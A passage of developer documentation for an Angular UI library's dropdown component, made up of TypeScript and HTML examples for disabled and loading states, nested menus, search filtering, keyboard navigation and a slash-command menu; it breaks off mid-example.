    changeDetection: ChangeDetectionStrategy.OnPush
})
export class DropdownDisabledExample {
    disabled = false;
}
```

```html dropdown-disabled-example.html
<kbq-checkbox class="layout-margin-right-l" [(ngModel)]="disabled">toggle disabled state</kbq-checkbox>

<button kbq-button [disabled]="disabled" [kbqDropdownTriggerFor]="appDropdown">
    dropdown
    <i kbq-icon="kbq-chevron-down-s_16"></i>
</button>

<kbq-dropdown #appDropdown="kbqDropdown" [panelMaxWidth]="200">
    <button kbq-dropdown-item>Text Normal</button>

    <button kbq-dropdown-item>
        <i kbq-icon="kbq-circle-info_16" [color]="'contrast'"></i>
        Text Normal
    </button>

    <button kbq-dropdown-item>
        Text Normal
        <div kbqDropdownItemCaption>Caption</div>
    </button>

    <button kbq-dropdown-item>
        <i kbq-icon="kbq-circle-info_16" [color]="'contrast'"></i>
        Text Normal
        <div kbqDropdownItemCaption>Caption</div>
    </button>

    <button kbq-dropdown-item>
        <i kbq-icon="kbq-circle-xs_16" [color]="'contrast'"></i>
        Text Normal
    </button>

    <button kbq-dropdown-item kbq-title>
        Text Normal and very long text Text Normal and very long text Text Normal and very long text Text Normal and
        very long text
    </button>

    <kbq-divider />

    <div kbqDropdownGroupHeader>Header</div>

    <button disabled kbq-dropdown-item>Disabled</button>

    <kbq-divider />

    <kbq-optgroup label="Subheading" />

    <button disabled kbq-dropdown-item>
        <i kbq-icon="kbq-circle-xs_16"></i>
        Disabled with icon
    </button>

    <kbq-divider />

    <button kbq-dropdown-item>Point 2</button>

    <button kbq-dropdown-item>Point 3</button>

    <button kbq-dropdown-item>Link</button>
</kbq-dropdown>
```

#### Progress state

Add the `progress` attribute to `kbq-dropdown-item` to show a loading shimmer on the item. It can be combined with `disabled` to also prevent interaction while loading.

**Example: Dropdown item progress** (`dropdown-item-progress`)

```ts dropdown-item-progress-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqProgressSpinnerModule } from '@koobiq/components/progress-spinner';

@Component({
    selector: 'dropdown-item-progress-example',
    imports: [KbqDropdownModule, KbqButtonModule, KbqIconModule, KbqProgressSpinnerModule],
    template: `
        <button kbq-button [kbqDropdownTriggerFor]="appDropdown">
            Trigger
            <i kbq-icon="kbq-chevron-down-s_16"></i>
        </button>

        <kbq-dropdown #appDropdown="kbqDropdown">
            <button kbq-dropdown-item>Menu item 1</button>
            <button kbq-dropdown-item>Menu item 2</button>
            <button kbq-dropdown-item>Menu item 3</button>
            <button kbq-dropdown-item progress [kbqDropdownTriggerFor]="loadingSubmenu">Menu item 4</button>
            <button kbq-dropdown-item>Menu item 5</button>
            <button kbq-dropdown-item>Menu item 6</button>
            <button kbq-dropdown-item progress disabled>Menu item 7</button>
            <button kbq-dropdown-item>Menu item 8</button>
        </kbq-dropdown>

        <kbq-dropdown #loadingSubmenu="kbqDropdown">
            <div class="layout-row layout-align-center-center" [style.height.px]="100">
                <kbq-progress-spinner mode="indeterminate" />
            </div>
        </kbq-dropdown>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-column layout-align-center-center',
        '[style.height.px]': '200'
    }
})
export class DropdownItemProgressExample {}
```

#### Secondary action

You can add an extra button inside a menu item (for example, to go to settings). It works independently: clicking it doesn't close the menu, and you can reach it with the Tab key.

The menu item itself should be a regular block, not a button.

If the item is in a loading state, the extra button stays visible but becomes unavailable.

**Example: Dropdown item with a secondary action** (`dropdown-item-action`)

```ts dropdown-item-action-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqTitleDirective } from '@koobiq/components/title';

@Component({
    selector: 'dropdown-item-action-example',
    imports: [KbqDropdownModule, KbqButtonModule, KbqIconModule, KbqTitleDirective],
    template: `
        <button kbq-button [kbqDropdownTriggerFor]="checkDropdown">
            Check
            <i kbq-icon="kbq-chevron-down-s_16"></i>
        </button>

        <kbq-dropdown #checkDropdown="kbqDropdown">
            <div kbq-dropdown-item kbq-title>
                Check with rules
                <a
                    kbq-icon-button="kbq-gear_16"
                    kbqDropdownItemAction
                    size="compact"
                    aria-label="Rules settings"
                    target="_blank"
                    href="en/components/button"
                    [color]="'contrast-fade'"
                ></a>
            </div>

            <div kbq-dropdown-item>
                Check by hash sum
                <a
                    kbq-icon-button="kbq-gear_16"
                    kbqDropdownItemAction
                    size="compact"
                    aria-label="Hash sum settings"
                    target="_blank"
                    href="en/components/icon"
                    [color]="'contrast-fade'"
                ></a>
            </div>

            <div kbq-dropdown-item disabled>
                Not available
                <a
                    kbq-icon-button="kbq-gear_16"
                    kbqDropdownItemAction
                    size="compact"
                    aria-label="Hash sum settings (unavailable)"
                    target="_blank"
                    href="en/components/icon"
                    [color]="'contrast-fade'"
                    [disabled]="true"
                ></a>
            </div>

            <div kbq-dropdown-item [kbqDropdownTriggerFor]="appDropdownNested">
                Nested
                <a
                    kbq-icon-button="kbq-gear_16"
                    kbqDropdownItemAction
                    size="compact"
                    aria-label="More actions"
                    target="_blank"
                    href="en/components/tag"
                    [color]="'contrast-fade'"
                ></a>
            </div>

            <kbq-dropdown #appDropdownNested="kbqDropdown">
                <button kbq-dropdown-item>Edit</button>
                <button kbq-dropdown-item>Delete</button>
            </kbq-dropdown>
        </kbq-dropdown>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-column layout-align-center-center',
        '[style.height.px]': '200'
    }
})
export class DropdownItemActionExample {}
```

#### Item as a link

A menu item can be made into a regular link — then the entire block will navigate to another page.

**Example: Dropdown item as a link** (`dropdown-item-link`)

```ts dropdown-item-link-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqIconModule } from '@koobiq/components/icon';

@Component({
    selector: 'dropdown-item-link-example',
    imports: [KbqDropdownModule, KbqButtonModule, KbqIconModule],
    template: `
        <button kbq-button [kbqDropdownTriggerFor]="actionsDropdown">
            Actions
            <i kbq-icon="kbq-chevron-down-s_16"></i>
        </button>

        <kbq-dropdown #actionsDropdown="kbqDropdown">
            <a kbq-dropdown-item href="https://angular.dev/" target="_blank" rel="noopener noreferrer">Angular</a>
            <a kbq-dropdown-item href="https://www.typescriptlang.org/" target="_blank" rel="noopener noreferrer">
                TypeScript
            </a>
            <a kbq-dropdown-item href="https://storybook.js.org/" target="_blank" rel="noopener noreferrer">
                Storybook
            </a>
        </kbq-dropdown>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-column layout-align-center-center',
        '[style.height.px]': '200'
    }
})
export class DropdownItemLinkExample {}
```

#### Footer

You can place auxiliary elements in the footer: [buttons](https://koobiq.io/en/components/button.md), [links](https://koobiq.io/en/components/link.md), hints.

**Example: Dropdown with footer** (`dropdown-with-footer`)

```ts dropdown-with-footer-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqLink } from '@koobiq/components/link';

@Component({
    selector: 'dropdown-with-footer-example',
    imports: [KbqDropdownModule, KbqButtonModule, KbqLink, KbqIconModule],
    template: `
        <button kbq-button [kbqDropdownTriggerFor]="appDropdown">
            Trigger
            <i kbq-icon="kbq-chevron-down-s_16"></i>
        </button>

        <kbq-dropdown #appDropdown="kbqDropdown">
            <button kbq-dropdown-item>Menu item 1</button>
            <button kbq-dropdown-item>Menu item 2</button>
            <button kbq-dropdown-item>Menu item 3</button>
            <button kbq-dropdown-item [kbqDropdownTriggerFor]="submenu">Menu item 4</button>
            <button kbq-dropdown-item>Menu item 5</button>

            <kbq-dropdown-footer>
                <a
                    href="https://github.com/koobiq/angular-components"
                    target="_blank"
                    rel="noopener noreferrer"
                    kbqLink
                    external
                >
                    GitHub
                </a>
            </kbq-dropdown-footer>
        </kbq-dropdown>

        <kbq-dropdown #submenu="kbqDropdown">
            <button kbq-dropdown-item>Menu item 1</button>
            <button kbq-dropdown-item>Menu item 2</button>
            <button kbq-dropdown-item>Menu item 3</button>
            <kbq-dropdown-footer class="example-submenu-footer">
                Footer text is multiline and wraps across lines
            </kbq-dropdown-footer>
        </kbq-dropdown>
    `,
    styles: `
        :host {
            height: 200px;
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
        }

        .example-submenu-footer {
            font-size: var(--kbq-typography-text-compact-font-size);
            color: var(--kbq-foreground-contrast-secondary);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class DropdownWithFooterExample {}
```

#### Open by Arrow Down ↓

**Example: Dropdown open by arrow down** (`dropdown-open-by-arrow-down`)

```ts dropdown-open-by-arrow-down-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqCheckboxModule } from '@koobiq/components/checkbox';
import { KbqOptionModule } from '@koobiq/components/core';
import { KbqDividerModule } from '@koobiq/components/divider';
import { KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqTitleModule } from '@koobiq/components/title';

@Component({
    selector: 'dropdown-open-by-arrow-down-example',
    imports: [
        KbqDropdownModule,
        FormsModule,
        KbqCheckboxModule,
        KbqDividerModule,
        KbqButtonModule,
        KbqIconModule,
        KbqTitleModule,
        KbqInputModule,
        KbqOptionModule
    ],
    templateUrl: 'dropdown-open-by-arrow-down-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class DropdownOpenByArrowDownExample {
    openByArrowDown = true;
}
```

```html dropdown-open-by-arrow-down-example.html
<kbq-checkbox class="layout-margin-right-l" [(ngModel)]="openByArrowDown">toggle openByArrowDown</kbq-checkbox>

<button kbq-button [kbqDropdownTriggerFor]="appDropdown" [openByArrowDown]="openByArrowDown">
    dropdown
    <i kbq-icon="kbq-chevron-down-s_16"></i>
</button>

<kbq-dropdown #appDropdown="kbqDropdown" [panelMaxWidth]="200">
    <button kbq-dropdown-item>Text Normal</button>

    <button kbq-dropdown-item>
        <i kbq-icon="kbq-circle-info_16" [color]="'contrast'"></i>
        Text Normal
    </button>

    <button kbq-dropdown-item>
        Text Normal
        <div kbqDropdownItemCaption>Caption</div>
    </button>

    <button kbq-dropdown-item>
        <i kbq-icon="kbq-circle-info_16" [color]="'contrast'"></i>
        Text Normal
        <div kbqDropdownItemCaption>Caption</div>
    </button>

    <button kbq-dropdown-item>
        <i kbq-icon="kbq-circle-xs_16" [color]="'contrast'"></i>
        Text Normal
    </button>

    <button kbq-dropdown-item kbq-title>
        Text Normal and very long text Text Normal and very long text Text Normal and very long text Text Normal and
        very long text
    </button>

    <kbq-divider />

    <div kbqDropdownGroupHeader>Header</div>

    <button disabled kbq-dropdown-item>Disabled</button>

    <kbq-divider />

    <kbq-optgroup label="Subheading" />

    <button disabled kbq-dropdown-item>
        <i kbq-icon="kbq-circle-xs_16"></i>
        Disabled with icon
    </button>

    <kbq-divider />
    <button kbq-dropdown-item>Point 2</button>
</kbq-dropdown>
```

#### Lazy Load Data

**Example: Dropdown lazy load data** (`dropdown-lazyload-data`)

```ts dropdown-lazyload-data-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqInputModule } from '@koobiq/components/input';

@Component({
    selector: 'dropdown-lazyload-data-example',
    imports: [
        KbqDropdownModule,
        FormsModule,
        KbqButtonModule,
        KbqIconModule,
        KbqInputModule
    ],
    templateUrl: 'dropdown-lazyload-data-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class DropdownLazyloadDataExample {
    someValue = 'Lazy Value';
}
```

```html dropdown-lazyload-data-example.html
<kbq-form-field class="layout-margin-bottom-l">
    <input autocomplete="off" kbqInput style="max-width: 200px" type="text" [(ngModel)]="someValue" />
</kbq-form-field>

<button kbq-button [kbqDropdownTriggerData]="{ someValue: someValue }" [kbqDropdownTriggerFor]="appDropdownLazy">
    dropdown lazy
    <i kbq-icon="kbq-chevron-down-s_16"></i>
</button>

<kbq-dropdown #appDropdownLazy="kbqDropdown">
    <ng-template let-someValue="someValue" kbqDropdownContent>
        <button kbq-dropdown-item>dropdown</button>
        <button kbq-dropdown-item>
            Point 1
            <span kbqDropdownItemCaption>Some info</span>
        </button>
        <button kbq-dropdown-item>Value: {{ someValue }}</button>
    </ng-template>
</kbq-dropdown>
```

#### Nested Elements

**Example: Dropdown nested** (`dropdown-nested`)

```ts dropdown-nested-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqDividerModule } from '@koobiq/components/divider';
import { KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqIconModule } from '@koobiq/components/icon';

@Component({
    selector: 'dropdown-nested-example',
    imports: [
        KbqDropdownModule,
        KbqButtonModule,
        KbqIconModule,
        KbqDividerModule
    ],
    templateUrl: 'dropdown-nested-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class DropdownNestedExample {}
```

```html dropdown-nested-example.html
<button kbq-button [kbqDropdownTriggerFor]="appDropdownWithNested">
    dropdown
    <i kbq-icon="kbq-chevron-down-s_16"></i>
</button>

<kbq-dropdown #appDropdownWithNested="kbqDropdown">
    <button kbq-dropdown-item>Search settings</button>

    <button kbq-dropdown-item [kbqDropdownTriggerFor]="appDropdownNested">Text</button>
    <button kbq-dropdown-item [kbqDropdownTriggerFor]="appDropdownNested">Paragraph styles</button>
    <button kbq-dropdown-item [kbqDropdownTriggerFor]="appDropdownNested">Align & intent</button>
    <button kbq-dropdown-item [kbqDropdownTriggerFor]="appDropdownNested">Line spacing</button>
    <button kbq-dropdown-item [disabled]="true" [kbqDropdownTriggerFor]="appDropdownNested">Columns</button>
    <button kbq-dropdown-item [kbqDropdownTriggerFor]="appDropdownNested">Bullets & numbering</button>

    <kbq-divider />

    <button kbq-dropdown-item [kbqDropdownTriggerFor]="appDropdownNested">Headers & footers</button>
    <button kbq-dropdown-item [kbqDropdownTriggerFor]="appDropdownNested">Page numbers</button>

    <kbq-divider />

    <button kbq-dropdown-item [kbqDropdownTriggerFor]="appDropdownNested">Table</button>

    <kbq-divider />

    <button kbq-dropdown-item [kbqDropdownTriggerFor]="appDropdownNested">Image</button>

    <kbq-divider />

    <button kbq-dropdown-item [kbqDropdownTriggerFor]="appDropdownNested">Clear formatting</button>

    <kbq-divider />

    <button kbq-dropdown-item [kbqDropdownTriggerFor]="appDropdownNested">Border & lines</button>
</kbq-dropdown>

<kbq-dropdown #appDropdownNested="kbqDropdown">
    <button kbq-dropdown-item>Border and shading</button>

    <kbq-divider />

    <button kbq-dropdown-item [kbqDropdownTriggerFor]="appDropdownNestedNested">Normal text</button>
    <button kbq-dropdown-item [kbqDropdownTriggerFor]="appDropdownNestedNested">Title</button>
    <button kbq-dropdown-item [kbqDropdownTriggerFor]="appDropdownNestedNested">Subtitle</button>
    <button kbq-dropdown-item [kbqDropdownTriggerFor]="appDropdownNestedNested">Heading 1</button>
    <button kbq-dropdown-item [kbqDropdownTriggerFor]="appDropdownNestedNested">Heading 2</button>
    <button kbq-dropdown-item [kbqDropdownTriggerFor]="appDropdownNestedNested">Heading 3</button>
    <button kbq-dropdown-item [kbqDropdownTriggerFor]="appDropdownNestedNested">Heading 4</button>
    <button kbq-dropdown-item [kbqDropdownTriggerFor]="appDropdownNestedNested">Heading 5</button>
    <button kbq-dropdown-item [kbqDropdownTriggerFor]="appDropdownNestedNested">Heading 6</button>

    <kbq-divider />

    <button kbq-dropdown-item [kbqDropdownTriggerFor]="appDropdownNestedNested">Options</button>
</kbq-dropdown>

<kbq-dropdown #appDropdownNestedNested="kbqDropdown">
    <button kbq-dropdown-item>Apply 'Title'</button>
    <button kbq-dropdown-item>Update 'Title' to match style</button>
</kbq-dropdown>
```

#### Safe Area

This mechanism prevents an open nested submenu from closing prematurely while the pointer is moving.
The submenu stays open even if the pointer touches sibling items along the way, as long as the
movement stays within the designated area. It can be configured in two ways:

- locally — on the panel that contains the nested triggers, through its `safeArea` property;
- globally — through `KBQ_DROPDOWN_DEFAULT_OPTIONS`.

**Example: Dropdown safe area** (`dropdown-safe-area`)

```ts dropdown-safe-area-example.ts
import { ChangeDetectionStrategy, Component, signal } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqDividerModule } from '@koobiq/components/divider';
import { KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqToggleModule } from '@koobiq/components/toggle';

@Component({
    selector: 'dropdown-safe-area-example',
    imports: [KbqDropdownModule, KbqToggleModule, KbqButtonModule, KbqIconModule, KbqDividerModule],
    template: `
        <kbq-toggle [checked]="safeArea()" (change)="safeArea.set($event.checked)">Safe Area</kbq-toggle>

        <button kbq-button [kbqDropdownTriggerFor]="appDropdown">
            File
            <i kbq-icon="kbq-chevron-down-s_16"></i>
        </button>

        <kbq-dropdown #appDropdown="kbqDropdown" [safeArea]="safeArea()">
            <button kbq-dropdown-item>New</button>
            <button kbq-dropdown-item>Open</button>
            <button kbq-dropdown-item [kbqDropdownTriggerFor]="appDropdownNested">Share</button>
            <button kbq-dropdown-item>Save</button>
            <button kbq-dropdown-item>Save as...</button>
            <button kbq-dropdown-item>Rename</button>
            <button kbq-dropdown-item>Move</button>

            <kbq-divider />

            <button kbq-dropdown-item>Print</button>
        </kbq-dropdown>

        <kbq-dropdown #appDropdownNested="kbqDropdown">
            <button kbq-dropdown-item>Email as attachment</button>
            <button kbq-dropdown-item>Publish to web</button>
            <button kbq-dropdown-item>Share with people</button>
        </kbq-dropdown>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-column layout-align-center-center layout-gap-s'
    }
})
export class DropdownSafeAreaExample {
    /**
     * Enabled by default so the effect is visible immediately — move the pointer diagonally from
     * "Share" toward its submenu, crossing "Save" on the way, and the submenu stays open. Toggle off
     * to compare against the default (no safe area) behavior.
     */
    readonly safeArea = signal(true);
}
```

#### Navigation Wrap

A "cyclic navigation" mode where reaching one end of the list loops back to the other end.

**Example: Dropdown navigation wrap** (`dropdown-navigation-wrap`)

```ts dropdown-navigation-wrap-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqOptionModule } from '@koobiq/components/core';
import { KbqDividerModule } from '@koobiq/components/divider';
import { KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqIconModule } from '@koobiq/components/icon';

@Component({
    selector: 'dropdown-navigation-wrap-example',
    imports: [
        KbqDropdownModule,
        KbqButtonModule,
        KbqIconModule,
        KbqDividerModule,
        KbqOptionModule
    ],
    templateUrl: 'dropdown-navigation-wrap-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class DropdownNavigationWrapExample {}
```

```html dropdown-navigation-wrap-example.html
<button kbq-button [kbqDropdownTriggerFor]="appDropdown">
    dropdown
    <i kbq-icon="kbq-chevron-down-s_16"></i>
</button>

<kbq-dropdown #appDropdown="kbqDropdown" [panelMaxWidth]="200" [navigationWithWrap]="true">
    <button kbq-dropdown-item>Text Normal</button>

    <button kbq-dropdown-item>
        <i kbq-icon="kbq-circle-info_16" [color]="'contrast'"></i>
        Text Normal
    </button>

    <button kbq-dropdown-item>
        Text Normal
        <div kbqDropdownItemCaption>Caption</div>
    </button>

    <button kbq-dropdown-item>
        <i kbq-icon="kbq-circle-info_16" [color]="'contrast'"></i>
        Text Normal
        <div kbqDropdownItemCaption>Caption</div>
    </button>

    <button kbq-dropdown-item>
        <i kbq-icon="kbq-circle-xs_16" [color]="'contrast'"></i>
        Text Normal
    </button>

    <button kbq-dropdown-item kbq-title>
        Text Normal and very long text Text Normal and very long text Text Normal and very long text Text Normal and
        very long text
    </button>

    <kbq-divider />

    <div kbqDropdownGroupHeader>Header</div>

    <button disabled kbq-dropdown-item>Disabled</button>

    <kbq-divider />

    <kbq-optgroup label="Subheading" />

    <button disabled kbq-dropdown-item>Disabled</button>

    <kbq-divider />

    <button kbq-dropdown-item>Point 2</button>

    <button kbq-dropdown-item>Point 3</button>

    <button kbq-dropdown-item>Link</button>
</kbq-dropdown>
```

#### Dynamic Rendering

Recursive rendering of an array or object, allowing the creation of nested dropdown menus.

**Example: Dropdown Recursive Template** (`dropdown-recursive-template`)

```ts dropdown-recursive-template-example.ts
import {
    ChangeDetectionStrategy,
    Component,
    Directive,
    Injector,
    OnInit,
    TemplateRef,
    ViewContainerRef,
    inject,
    input
} from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KBQ_DROPDOWN_PANEL, KbqDropdown, KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqIconModule } from '@koobiq/components/icon';

type DropdownItem = {
    label: string;
    children?: DropdownItem[];
};

@Directive({
    selector: '[exampleDropdownOutlet]'
})
export class ExampleDropdownPortal implements OnInit {
    private viewContainerRef = inject(ViewContainerRef);

    readonly context = input({}, { alias: 'exampleDropdownOutletContext' });
    readonly template = input<TemplateRef<any>>(undefined!, { alias: 'exampleDropdownOutlet' });

    ngOnInit() {
        this.viewContainerRef.createEmbeddedView(this.template(), this.context(), {
            injector: Injector.create({
                parent: this.viewContainerRef.injector,
                // Provides a custom dependency:
                // - It binds `KBQ_DROPDOWN_PANEL` to the existing `KbqDropdown` instance,
                //   ensuring that any injected `KBQ_DROPDOWN_PANEL` token resolves to closest `KbqDropdown`.
                providers: [
                    { provide: KBQ_DROPDOWN_PANEL, useExisting: KbqDropdown }
                ]
            })
        });
    }
}

@Component({
    selector: 'dropdown-recursive-template-example',
    imports: [
        KbqDropdownModule,
        KbqButtonModule,
        KbqIconModule,
        ExampleDropdownPortal
    ],
    template: `
        <button kbq-button [kbqDropdownTriggerFor]="egDropdown">
            dropdown
            <i kbq-icon="kbq-chevron-down-s_16"></i>
        </button>

        <kbq-dropdown #egDropdown="kbqDropdown">
            @for (item of items; track item) {
                <ng-container
                    [exampleDropdownOutlet]="dropdownItemTpl"
                    [exampleDropdownOutletContext]="{ item: item }"
                />
            }

            <ng-template #dropdownItemTpl let-item="item">
                @if (item.children) {
                    <button kbq-dropdown-item [kbqDropdownTriggerFor]="egDropdownNested">
                        {{ item.label }}
                    </button>

                    <kbq-dropdown #egDropdownNested="kbqDropdown">
                        @for (child of item.children; track child) {
                            <ng-container
                                [exampleDropdownOutlet]="dropdownItemTpl"
                                [exampleDropdownOutletContext]="{ item: child }"
                            />
                        }
                    </kbq-dropdown>
                } @else {
                    <button kbq-dropdown-item>{{ item.label }}</button>
                }
            </ng-template>
        </kbq-dropdown>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class DropdownRecursiveTemplateExample {
    items: DropdownItem[] = [
        { label: 'Level 1 - Security Settings' },
        {
            label: 'Level 1 - Encryption',
            children: [
                { label: 'Level 2 - SSL/TLS' },
                {
                    label: 'Level 2 - AES Encryption',
                    children: [
                        {
                            label: 'Level 3 - Key Management',
                            children: [
                                { label: 'Level 4 - Public Key Infrastructure (PKI)' },
                                { label: 'Level 4 - Symmetric Key Management' },
                                { label: 'Level 4 - Key Exchange Algorithms' }
                            ]
                        },
                        { label: 'Level 3 - Encryption Standards' }
                    ]
                },
                { label: 'Level 2 - Digital Signatures' }
            ]
        },
        {
            label: 'Level 1 - Access Control',
            children: [
                { label: 'Level 2 - Role-Based Access Control (RBAC)' },
                { label: 'Level 2 - Multi-Factor Authentication (MFA)' },
                { label: 'Level 2 - Least Privilege Principle' }
            ]
        }
    ];
}
```

#### Menu Search

The `kbqDropdownSearch` directive turns a `kbq-form-field` into the panel's search field: it styles the field for the panel and takes over the keyboard.

The caret stays in the field while the menu is open: `ArrowUp` and `ArrowDown` move the highlight across the items, `Enter` picks the highlighted one, the first `Escape` clears the query and the second one closes the menu.

Search splits a multi-word query into parts and searches for them independently, trims leading and trailing spaces, is case-insensitive, and folds diacritics. The algorithm is described in the [Smart search guide](https://koobiq.io/en/other/search-smart.md).

**Example: Dropdown with filter** (`dropdown-with-filter`)

```ts dropdown-with-filter-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { toSignal } from '@angular/core/rxjs-interop';
import { FormControl, ReactiveFormsModule } from '@angular/forms';
import { KbqButtonModule } from '@koobiq/components/button';
import {
    createSearchPredicate,
    KbqHighlightBackgroundPipe,
    KbqOptgroup,
    tokenizeSearchQuery
} from '@koobiq/components/core';
import { KbqDivider } from '@koobiq/components/divider';
import { KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqCleaner, KbqFormField, KbqPrefix } from '@koobiq/components/form-field';
import { KbqIcon } from '@koobiq/components/icon';
import { KbqInput } from '@koobiq/components/input';
import { debounceTime, distinctUntilChanged, map } from 'rxjs';

@Component({
    selector: 'dropdown-with-filter-example',
    imports: [
        KbqDropdownModule,
        KbqButtonModule,
        KbqDivider,
        KbqOptgroup,
        KbqFormField,
        KbqPrefix,
        KbqIcon,
        KbqCleaner,
        KbqInput,
        ReactiveFormsModule,
        KbqHighlightBackgroundPipe
    ],
    template: `
        <button kbq-button [kbqDropdownTriggerFor]="dropdown" (dropdownClosed)="handleClosed()">
            Trigger
            <i kbq-icon="kbq-chevron-down-s_16"></i>
        </button>

        <kbq-dropdown #dropdown="kbqDropdown">
            <kbq-form-field kbqDropdownSearch>
                <i kbqPrefix kbq-icon="kbq-magnifying-glass_16"></i>
                <input autocomplete="off" kbqInput placeholder="Search" [formControl]="control" />
                <kbq-cleaner />
            </kbq-form-field>

            <kbq-divider />

            @let filtered = filteredGroups();

            @for (item of filtered[0]; track item) {
                <button kbq-dropdown-item>
                    <span [innerHTML]="item | kbqHighlightBackground: searchTokens"></span>
                </button>
            }

            @if (filtered[0].length > 0 && filtered[1].length > 0) {
                <kbq-divider />
            }

            @if (filtered[1].length > 0) {
                <kbq-optgroup label="Subheader for actions" />
            }

            @for (item of filtered[1]; track item) {
                <button kbq-dropdown-item>
                    <span [innerHTML]="item | kbqHighlightBackground: searchTokens"></span>
                </button>
            }

            @if (filtered[0].length === 0 && filtered[1].length === 0) {
                <button kbq-dropdown-item disabled>Nothing found</button>
            }
        </kbq-dropdown>
    `,
    styles: `
        :host {
            height: 200px;
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class DropdownWithFilterExample {
    private readonly groups = [
        ['New tab', 'New window'],
        ['Action one', 'Action two', 'Action three']
    ];
    protected readonly control = new FormControl('');
    protected readonly filteredGroups = toSignal(
        this.control.valueChanges.pipe(
            debounceTime(300),
            distinctUntilChanged(),
            map((value) => {
                const predicate = createSearchPredicate(value ?? '');

                return this.groups.map((group) => group.filter(predicate));
            })
        ),
        { initialValue: this.groups }
    );

    protected get searchTokens(): string[] {
        return tokenizeSearchQuery(this.control.value ?? '');
    }

    protected handleClosed(): void {
        this.control.reset();
    }
}
```

#### Menu at the caret

A dropdown with actions can open next to the text caret, for example after `/` is typed in an editor. The user picks an action and keeps typing. This suits command menus, suggestions and other quick actions.

**Example: Dropdown at the caret** (`dropdown-slash-menu`)

```ts dropdown-slash-menu-example.ts
import { DOCUMENT } from '@angular/common';
import {
    afterNextRender,
    ChangeDetectionStrategy,
    ChangeDetectorRef,
    Component,
    computed,
    DestroyRef,
    ElementRef,
    inject,
    Renderer2,
    signal,
    viewChild
} from '@angular/core';
import {
    createSearchPredicate,
    KbqCaretRect,
    kbqCreateCaretOrigin,
    kbqGetSelectionRect,
    kbqGetTextQuery,
    KbqHighlightBackgroundPipe,
    kbqListenForCaretMoves,
    KbqOptgroup,
    tokenizeSearchQuery
} from '@koobiq/components/core';
import { KbqDropdown, KbqDropdownModule, KbqDropdownTrigger } from '@koobiq/components/dropdown';
import { KbqIconModule } from '@koobiq/components/icon';

/** `Node.TEXT_NODE`, spelled out so that the example never reads a DOM global. */
const TEXT_NODE = 3;

const TRIGGER = '/';

const EMPTY_RECT: KbqCaretRect = { x: 0, y: 0, width: 0, height: 0 };

/** The keys the menu lives on while the caret stays in the editor. */
const MENU_KEYS = ['ArrowUp', 'ArrowDown', 'Enter', 'Escape'];

const GROUPS: { label: string; items: { name: string; icon: string }[] }[] = [
    {
        label: 'Suggested',
        items: [
            { name: 'Text', icon: 'kbq-paragraph-sign_16' },
            { name: 'Bulleted list', icon: 'kbq-list-ul_16' },
            { name: 'To-do list', icon: 'kbq-checkbox-multiple_16' }
        ]
    },
    {
        label: 'Basic blocks',
        items: [
            { name: 'Numbered list', icon: 'kbq-list-ol_16' },
            { name: 'Code', icon: 'kbq-code_16' },
            { name: 'Table', icon: 'kbq-table_16' },
            { name: 'Image', icon: 'kbq-image_16' },
            { name: 'Divider', icon: 'kbq-minus_16' }
        ]
    }
];

@Component({
    selector: 'dropdown-slash-menu-example',
    imports: [
        KbqDropdownModule,
        KbqHighlightBackgroundPipe,
        KbqIconModule,
        KbqOptgroup
    ],
    template: `
        <div
            #editor
            aria-label="Article text"
            aria-multiline="true"
            class="example-editor kbq-text-normal"
            contenteditable="plaintext-only"
            role="textbox"
            (keydown)="handleKeydown($event)"
        >
            Type / anywhere in this text to open the block menu.
        </div>

        <!--
            The panel is positioned against the caret, so the trigger only has to stay out of the editor:
